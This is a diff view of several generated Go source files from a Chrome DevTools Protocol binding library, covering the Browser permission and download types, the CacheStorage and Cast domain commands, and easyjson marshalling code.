return easyjson.Unmarshal(buf, t)
}
// PermissionSetting [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-PermissionSetting
type PermissionSetting string
// String returns the PermissionSetting as string value.
func (t PermissionSetting) String() string {
return string(t)
}
// PermissionSetting values.
const (
PermissionSettingGranted PermissionSetting = "granted"
PermissionSettingDenied PermissionSetting = "denied"
PermissionSettingPrompt PermissionSetting = "prompt"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t PermissionSetting) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t PermissionSetting) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PermissionSetting(in.String()) {
case PermissionSettingGranted:
*t = PermissionSettingGranted
case PermissionSettingDenied:
*t = PermissionSettingDenied
case PermissionSettingPrompt:
*t = PermissionSettingPrompt
default:
in.AddError(errors.New("unknown PermissionSetting value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *PermissionSetting) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// PermissionDescriptor definition of PermissionDescriptor defined in the
// Permissions API:
// https://w3c.github.io/permissions/#dictdef-permissiondescriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-PermissionDescriptor
type PermissionDescriptor struct {
Name string `json:"name"` // Name of permission. See https://cs.chromium.org/chromium/src/third_party/blink/renderer/modules/permissions/permission_descriptor.idl for valid permission names.
Sysex bool `json:"sysex,omitempty"` // For "midi" permission, may also specify sysex control.
UserVisibleOnly bool `json:"userVisibleOnly,omitempty"` // For "push" permission, may specify userVisibleOnly. Note that userVisibleOnly = true is the only currently supported type.
AllowWithoutSanitization bool `json:"allowWithoutSanitization,omitempty"` // For "clipboard" permission, may specify allowWithoutSanitization.
PanTiltZoom bool `json:"panTiltZoom,omitempty"` // For "camera" permission, may specify panTiltZoom.
}
// CommandID browser command ids used by executeBrowserCommand.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-BrowserCommandId
type CommandID string
// String returns the CommandID as string value.
func (t CommandID) String() string {
return string(t)
}
// CommandID values.
const (
CommandIDOpenTabSearch CommandID = "openTabSearch"
CommandIDCloseTabSearch CommandID = "closeTabSearch"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t CommandID) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t CommandID) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CommandID) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CommandID(in.String()) {
case CommandIDOpenTabSearch:
*t = CommandIDOpenTabSearch
case CommandIDCloseTabSearch:
*t = CommandIDCloseTabSearch
default:
in.AddError(errors.New("unknown CommandID value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *CommandID) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// Bucket chrome histogram bucket.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-Bucket
type Bucket struct {
Low int64 `json:"low"` // Minimum value (inclusive).
High int64 `json:"high"` // Maximum value (exclusive).
Count int64 `json:"count"` // Number of samples.
}
// Histogram chrome histogram.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-Histogram
type Histogram struct {
Name string `json:"name"` // Name.
Sum int64 `json:"sum"` // Sum of sample values.
Count int64 `json:"count"` // Total number of samples.
Buckets []*Bucket `json:"buckets"` // Buckets.
}
// DownloadProgressState download status.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#event-downloadProgress
type DownloadProgressState string
// String returns the DownloadProgressState as string value.
func (t DownloadProgressState) String() string {
return string(t)
}
// DownloadProgressState values.
const (
DownloadProgressStateInProgress DownloadProgressState = "inProgress"
DownloadProgressStateCompleted DownloadProgressState = "completed"
DownloadProgressStateCanceled DownloadProgressState = "canceled"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t DownloadProgressState) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t DownloadProgressState) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DownloadProgressState(in.String()) {
case DownloadProgressStateInProgress:
*t = DownloadProgressStateInProgress
case DownloadProgressStateCompleted:
*t = DownloadProgressStateCompleted
case DownloadProgressStateCanceled:
*t = DownloadProgressStateCanceled
default:
in.AddError(errors.New("unknown DownloadProgressState value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *DownloadProgressState) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// SetDownloadBehaviorBehavior whether to allow all or deny all download
// requests, or use default Chrome behavior if available (otherwise deny).
// |allowAndName| allows download and names files according to their dowmload
// guids.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setDownloadBehavior
type SetDownloadBehaviorBehavior string
// String returns the SetDownloadBehaviorBehavior as string value.
func (t SetDownloadBehaviorBehavior) String() string {
return string(t)
}
// SetDownloadBehaviorBehavior values.
const (
SetDownloadBehaviorBehaviorDeny SetDownloadBehaviorBehavior = "deny"
SetDownloadBehaviorBehaviorAllow SetDownloadBehaviorBehavior = "allow"
SetDownloadBehaviorBehaviorAllowAndName SetDownloadBehaviorBehavior = "allowAndName"
SetDownloadBehaviorBehaviorDefault SetDownloadBehaviorBehavior = "default"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t SetDownloadBehaviorBehavior) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t SetDownloadBehaviorBehavior) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetDownloadBehaviorBehavior(in.String()) {
case SetDownloadBehaviorBehaviorDeny:
*t = SetDownloadBehaviorBehaviorDeny
case SetDownloadBehaviorBehaviorAllow:
*t = SetDownloadBehaviorBehaviorAllow
case SetDownloadBehaviorBehaviorAllowAndName:
*t = SetDownloadBehaviorBehaviorAllowAndName
case SetDownloadBehaviorBehaviorDefault:
*t = SetDownloadBehaviorBehaviorDefault
default:
in.AddError(errors.New("unknown SetDownloadBehaviorBehavior value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *SetDownloadBehaviorBehavior) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
+218
View File
@@ -0,0 +1,218 @@
// Package cachestorage provides the Chrome DevTools Protocol
// commands, types, and events for the CacheStorage domain.
//
// Generated by the cdproto-gen command.
package cachestorage
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
)
// DeleteCacheParams deletes a cache.
type DeleteCacheParams struct {
CacheID CacheID `json:"cacheId"` // Id of cache for deletion.
}
// DeleteCache deletes a cache.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-deleteCache
//
// parameters:
//
// cacheID - Id of cache for deletion.
func DeleteCache(cacheID CacheID) *DeleteCacheParams {
return &DeleteCacheParams{
CacheID: cacheID,
}
}
// Do executes CacheStorage.deleteCache against the provided context.
func (p *DeleteCacheParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDeleteCache, p, nil)
}
// DeleteEntryParams deletes a cache entry.
type DeleteEntryParams struct {
CacheID CacheID `json:"cacheId"` // Id of cache where the entry will be deleted.
Request string `json:"request"` // URL spec of the request.
}
// DeleteEntry deletes a cache entry.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-deleteEntry
//
// parameters:
//
// cacheID - Id of cache where the entry will be deleted.
// request - URL spec of the request.
func DeleteEntry(cacheID CacheID, request string) *DeleteEntryParams {
return &DeleteEntryParams{
CacheID: cacheID,
Request: request,
}
}
// Do executes CacheStorage.deleteEntry against the provided context.
func (p *DeleteEntryParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDeleteEntry, p, nil)
}
// RequestCacheNamesParams requests cache names.
type RequestCacheNamesParams struct {
SecurityOrigin string `json:"securityOrigin"` // Security origin.
}
// RequestCacheNames requests cache names.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestCacheNames
//
// parameters:
//
// securityOrigin - Security origin.
func RequestCacheNames(securityOrigin string) *RequestCacheNamesParams {
return &RequestCacheNamesParams{
SecurityOrigin: securityOrigin,
}
}
// RequestCacheNamesReturns return values.
type RequestCacheNamesReturns struct {
Caches []*Cache `json:"caches,omitempty"` // Caches for the security origin.
}
// Do executes CacheStorage.requestCacheNames against the provided context.
//
// returns:
//
// caches - Caches for the security origin.
func (p *RequestCacheNamesParams) Do(ctx context.Context) (caches []*Cache, err error) {
// execute
var res RequestCacheNamesReturns
err = cdp.Execute(ctx, CommandRequestCacheNames, p, &res)
if err != nil {
return nil, err
}
return res.Caches, nil
}
// RequestCachedResponseParams fetches cache entry.
type RequestCachedResponseParams struct {
CacheID CacheID `json:"cacheId"` // Id of cache that contains the entry.
RequestURL string `json:"requestURL"` // URL spec of the request.
RequestHeaders []*Header `json:"requestHeaders"` // headers of the request.
}
// RequestCachedResponse fetches cache entry.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestCachedResponse
//
// parameters:
//
// cacheID - Id of cache that contains the entry.
// requestURL - URL spec of the request.
// requestHeaders - headers of the request.
func RequestCachedResponse(cacheID CacheID, requestURL string, requestHeaders []*Header) *RequestCachedResponseParams {
return &RequestCachedResponseParams{
CacheID: cacheID,
RequestURL: requestURL,
RequestHeaders: requestHeaders,
}
}
// RequestCachedResponseReturns return values.
type RequestCachedResponseReturns struct {
Response *CachedResponse `json:"response,omitempty"` // Response read from the cache.
}
// Do executes CacheStorage.requestCachedResponse against the provided context.
//
// returns:
//
// response - Response read from the cache.
func (p *RequestCachedResponseParams) Do(ctx context.Context) (response *CachedResponse, err error) {
// execute
var res RequestCachedResponseReturns
err = cdp.Execute(ctx, CommandRequestCachedResponse, p, &res)
if err != nil {
return nil, err
}
return res.Response, nil
}
// RequestEntriesParams requests data from cache.
type RequestEntriesParams struct {
CacheID CacheID `json:"cacheId"` // ID of cache to get entries from.
SkipCount int64 `json:"skipCount,omitempty"` // Number of records to skip.
PageSize int64 `json:"pageSize,omitempty"` // Number of records to fetch.
PathFilter string `json:"pathFilter,omitempty"` // If present, only return the entries containing this substring in the path
}
// RequestEntries requests data from cache.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestEntries
//
// parameters:
//
// cacheID - ID of cache to get entries from.
func RequestEntries(cacheID CacheID) *RequestEntriesParams {
return &RequestEntriesParams{
CacheID: cacheID,
}
}
// WithSkipCount number of records to skip.
func (p RequestEntriesParams) WithSkipCount(skipCount int64) *RequestEntriesParams {
p.SkipCount = skipCount
return &p
}
// WithPageSize number of records to fetch.
func (p RequestEntriesParams) WithPageSize(pageSize int64) *RequestEntriesParams {
p.PageSize = pageSize
return &p
}
// WithPathFilter if present, only return the entries containing this
// substring in the path.
func (p RequestEntriesParams) WithPathFilter(pathFilter string) *RequestEntriesParams {
p.PathFilter = pathFilter
return &p
}
// RequestEntriesReturns return values.
type RequestEntriesReturns struct {
CacheDataEntries []*DataEntry `json:"cacheDataEntries,omitempty"` // Array of object store data entries.
ReturnCount float64 `json:"returnCount,omitempty"` // Count of returned entries from this storage. If pathFilter is empty, it is the count of all entries from this storage.
}
// Do executes CacheStorage.requestEntries against the provided context.
//
// returns:
//
// cacheDataEntries - Array of object store data entries.
// returnCount - Count of returned entries from this storage. If pathFilter is empty, it is the count of all entries from this storage.
func (p *RequestEntriesParams) Do(ctx context.Context) (cacheDataEntries []*DataEntry, returnCount float64, err error) {
// execute
var res RequestEntriesReturns
err = cdp.Execute(ctx, CommandRequestEntries, p, &res)
if err != nil {
return nil, 0, err
}
return res.CacheDataEntries, res.ReturnCount, nil
}
// Command names.
const (
CommandDeleteCache = "CacheStorage.deleteCache"
CommandDeleteEntry = "CacheStorage.deleteEntry"
CommandRequestCacheNames = "CacheStorage.requestCacheNames"
CommandRequestCachedResponse = "CacheStorage.requestCachedResponse"
CommandRequestEntries = "CacheStorage.requestEntries"
)
File diff suppressed because it is too large. Load diff
+115
View File
@@ -0,0 +1,115 @@
package cachestorage
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// CacheID unique identifier of the Cache object.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-CacheId
type CacheID string
// String returns the CacheID as string value.
func (t CacheID) String() string {
return string(t)
}
// CachedResponseType type of HTTP response cached.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-CachedResponseType
type CachedResponseType string
// String returns the CachedResponseType as string value.
func (t CachedResponseType) String() string {
return string(t)
}
// CachedResponseType values.
const (
CachedResponseTypeBasic CachedResponseType = "basic"
CachedResponseTypeCors CachedResponseType = "cors"
CachedResponseTypeDefault CachedResponseType = "default"
CachedResponseTypeError CachedResponseType = "error"
CachedResponseTypeOpaqueResponse CachedResponseType = "opaqueResponse"
CachedResponseTypeOpaqueRedirect CachedResponseType = "opaqueRedirect"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t CachedResponseType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t CachedResponseType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CachedResponseType(in.String()) {
case CachedResponseTypeBasic:
*t = CachedResponseTypeBasic
case CachedResponseTypeCors:
*t = CachedResponseTypeCors
case CachedResponseTypeDefault:
*t = CachedResponseTypeDefault
case CachedResponseTypeError:
*t = CachedResponseTypeError
case CachedResponseTypeOpaqueResponse:
*t = CachedResponseTypeOpaqueResponse
case CachedResponseTypeOpaqueRedirect:
*t = CachedResponseTypeOpaqueRedirect
default:
in.AddError(errors.New("unknown CachedResponseType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *CachedResponseType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// DataEntry data entry.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-DataEntry
type DataEntry struct {
RequestURL string `json:"requestURL"` // Request URL.
RequestMethod string `json:"requestMethod"` // Request method.
RequestHeaders []*Header `json:"requestHeaders"` // Request headers
ResponseTime float64 `json:"responseTime"` // Number of seconds since epoch.
ResponseStatus int64 `json:"responseStatus"` // HTTP response status code.
ResponseStatusText string `json:"responseStatusText"` // HTTP response status text.
ResponseType CachedResponseType `json:"responseType"` // HTTP response type
ResponseHeaders []*Header `json:"responseHeaders"` // Response headers
}
// Cache cache identifier.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-Cache
type Cache struct {
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
CacheName string `json:"cacheName"` // The name of the cache.
}
// Header [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-Header
type Header struct {
Name string `json:"name"`
Value string `json:"value"`
}
// CachedResponse cached response.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#type-CachedResponse
type CachedResponse struct {
Body string `json:"body"` // Entry content, base64-encoded.
}
+169
View File
@@ -0,0 +1,169 @@
// Package cast provides the Chrome DevTools Protocol
// commands, types, and events for the Cast domain.
//
// A domain for interacting with Cast, Presentation API, and Remote Playback
// API functionalities.
//
// Generated by the cdproto-gen command.
package cast
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
)
// EnableParams starts observing for sinks that can be used for tab
// mirroring, and if set, sinks compatible with |presentationUrl| as well. When
// sinks are found, a |sinksUpdated| event is fired. Also starts observing for
// issue messages. When an issue is added or removed, an |issueUpdated| event is
// fired.
type EnableParams struct {
PresentationURL string `json:"presentationUrl,omitempty"`
}
// Enable starts observing for sinks that can be used for tab mirroring, and
// if set, sinks compatible with |presentationUrl| as well. When sinks are
// found, a |sinksUpdated| event is fired. Also starts observing for issue
// messages. When an issue is added or removed, an |issueUpdated| event is
// fired.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-enable
//
// parameters:
func Enable() *EnableParams {
return &EnableParams{}
}
// WithPresentationURL [no description].
func (p EnableParams) WithPresentationURL(presentationURL string) *EnableParams {
p.PresentationURL = presentationURL
return &p
}
// Do executes Cast.enable against the provided context.
func (p *EnableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandEnable, p, nil)
}
// DisableParams stops observing for sinks and issues.
type DisableParams struct{}
// Disable stops observing for sinks and issues.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-disable
func Disable() *DisableParams {
return &DisableParams{}
}
// Do executes Cast.disable against the provided context.
func (p *DisableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDisable, nil, nil)
}
// SetSinkToUseParams sets a sink to be used when the web page requests the
// browser to choose a sink via Presentation API, Remote Playback API, or Cast
// SDK.
type SetSinkToUseParams struct {
SinkName string `json:"sinkName"`
}
// SetSinkToUse sets a sink to be used when the web page requests the browser
// to choose a sink via Presentation API, Remote Playback API, or Cast SDK.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-setSinkToUse
//
// parameters:
//
// sinkName
func SetSinkToUse(sinkName string) *SetSinkToUseParams {
return &SetSinkToUseParams{
SinkName: sinkName,
}
}
// Do executes Cast.setSinkToUse against the provided context.
func (p *SetSinkToUseParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetSinkToUse, p, nil)
}
// StartDesktopMirroringParams starts mirroring the desktop to the sink.
type StartDesktopMirroringParams struct {
SinkName string `json:"sinkName"`
}
// StartDesktopMirroring starts mirroring the desktop to the sink.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-startDesktopMirroring
//
// parameters:
//
// sinkName
func StartDesktopMirroring(sinkName string) *StartDesktopMirroringParams {
return &StartDesktopMirroringParams{
SinkName: sinkName,
}
}
// Do executes Cast.startDesktopMirroring against the provided context.
func (p *StartDesktopMirroringParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandStartDesktopMirroring, p, nil)
}
// StartTabMirroringParams starts mirroring the tab to the sink.
type StartTabMirroringParams struct {
SinkName string `json:"sinkName"`
}
// StartTabMirroring starts mirroring the tab to the sink.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-startTabMirroring
//
// parameters:
//
// sinkName
func StartTabMirroring(sinkName string) *StartTabMirroringParams {
return &StartTabMirroringParams{
SinkName: sinkName,
}
}
// Do executes Cast.startTabMirroring against the provided context.
func (p *StartTabMirroringParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandStartTabMirroring, p, nil)
}
// StopCastingParams stops the active Cast session on the sink.
type StopCastingParams struct {
SinkName string `json:"sinkName"`
}
// StopCasting stops the active Cast session on the sink.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#method-stopCasting
//
// parameters:
//
// sinkName
func StopCasting(sinkName string) *StopCastingParams {
return &StopCastingParams{
SinkName: sinkName,
}
}
// Do executes Cast.stopCasting against the provided context.
func (p *StopCastingParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandStopCasting, p, nil)
}
// Command names.
const (
CommandEnable = "Cast.enable"
CommandDisable = "Cast.disable"
CommandSetSinkToUse = "Cast.setSinkToUse"
CommandStartDesktopMirroring = "Cast.startDesktopMirroring"
CommandStartTabMirroring = "Cast.startTabMirroring"
CommandStopCasting = "Cast.stopCasting"
)
+665
View File
@@ -0,0 +1,665 @@
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
package cast
import (
json "encoding/json"
easyjson "github.com/mailru/easyjson"
jlexer "github.com/mailru/easyjson/jlexer"
jwriter "github.com/mailru/easyjson/jwriter"
)
// suppress unused package warning
var (
_ *json.RawMessage
_ *jlexer.Lexer
_ *jwriter.Writer
_ easyjson.Marshaler
)
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast(in *jlexer.Lexer, out *StopCastingParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "sinkName":
out.SinkName = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast(out *jwriter.Writer, in StopCastingParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"sinkName\":"
out.RawString(prefix[1:])
out.String(string(in.SinkName))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v StopCastingParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v StopCastingParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *StopCastingParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *StopCastingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast1(in *jlexer.Lexer, out *StartTabMirroringParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "sinkName":
out.SinkName = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast1(out *jwriter.Writer, in StartTabMirroringParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"sinkName\":"
out.RawString(prefix[1:])
out.String(string(in.SinkName))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v StartTabMirroringParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast1(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v StartTabMirroringParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast1(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *StartTabMirroringParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast1(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *StartTabMirroringParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast1(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast2(in *jlexer.Lexer, out *StartDesktopMirroringParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "sinkName":
out.SinkName = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast2(out *jwriter.Writer, in StartDesktopMirroringParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"sinkName\":"
out.RawString(prefix[1:])
out.String(string(in.SinkName))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v StartDesktopMirroringParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast2(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v StartDesktopMirroringParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast2(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *StartDesktopMirroringParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast2(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *StartDesktopMirroringParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast2(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast3(in *jlexer.Lexer, out *Sink) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "name":
out.Name = string(in.String())
case "id":
out.ID = string(in.String())
case "session":
out.Session = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast3(out *jwriter.Writer, in Sink) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"name\":"
out.RawString(prefix[1:])
out.String(string(in.Name))
}
{
const prefix string = ",\"id\":"
out.RawString(prefix)
out.String(string(in.ID))
}
if in.Session != "" {
const prefix string = ",\"session\":"
out.RawString(prefix)
out.String(string(in.Session))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v Sink) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast3(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v Sink) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast3(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *Sink) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast3(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *Sink) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast3(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast4(in *jlexer.Lexer, out *SetSinkToUseParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "sinkName":
out.SinkName = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast4(out *jwriter.Writer, in SetSinkToUseParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"sinkName\":"
out.RawString(prefix[1:])
out.String(string(in.SinkName))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v SetSinkToUseParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast4(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SetSinkToUseParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast4(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SetSinkToUseParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast4(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SetSinkToUseParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast4(l, v)
}
